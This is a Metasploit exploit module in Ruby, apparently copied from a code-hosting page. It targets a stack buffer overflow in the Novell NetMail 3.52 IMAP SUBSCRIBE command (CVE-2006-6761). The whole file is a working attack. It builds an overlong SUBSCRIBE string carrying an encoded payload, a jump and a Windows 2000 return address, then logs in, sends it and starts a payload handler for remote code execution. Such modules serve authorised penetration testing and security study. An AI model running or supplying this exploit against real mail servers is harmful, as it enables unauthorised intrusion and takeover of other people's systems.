70 lines
1.9 KiB
Ruby
70 lines
1.9 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::Imap
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Novell NetMail IMAP SUBSCRIBE Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP SUBSCRIBE
|
|
verb. By sending an overly long string, an attacker can overwrite the
|
|
buffer and control program execution.
|
|
},
|
|
'Author' => [ 'MC' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2006-6761' ],
|
|
[ 'OSVDB', '31360' ],
|
|
[ 'BID', '21728' ],
|
|
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=454' ],
|
|
],
|
|
'Privileged' => true,
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 500,
|
|
'BadChars' => "\x00\x0a\x0d\x20",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
['Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 }],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Dec 23 2006'))
|
|
|
|
end
|
|
|
|
def exploit
|
|
sploit = "a002 SUBSCRIBE #" + rand_text_english(1602) + payload.encoded
|
|
sploit << "\xeb\x06" + rand_text_english(2) + [target.ret].pack('V')
|
|
sploit << [0xe8, -485].pack('CV') + rand_text_english(150)
|
|
|
|
info = connect_login
|
|
|
|
if (info == true)
|
|
print_status("Trying target #{target.name}...")
|
|
sock.put(sploit + "\r\n")
|
|
else
|
|
print_status("Not falling through with exploit")
|
|
end
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|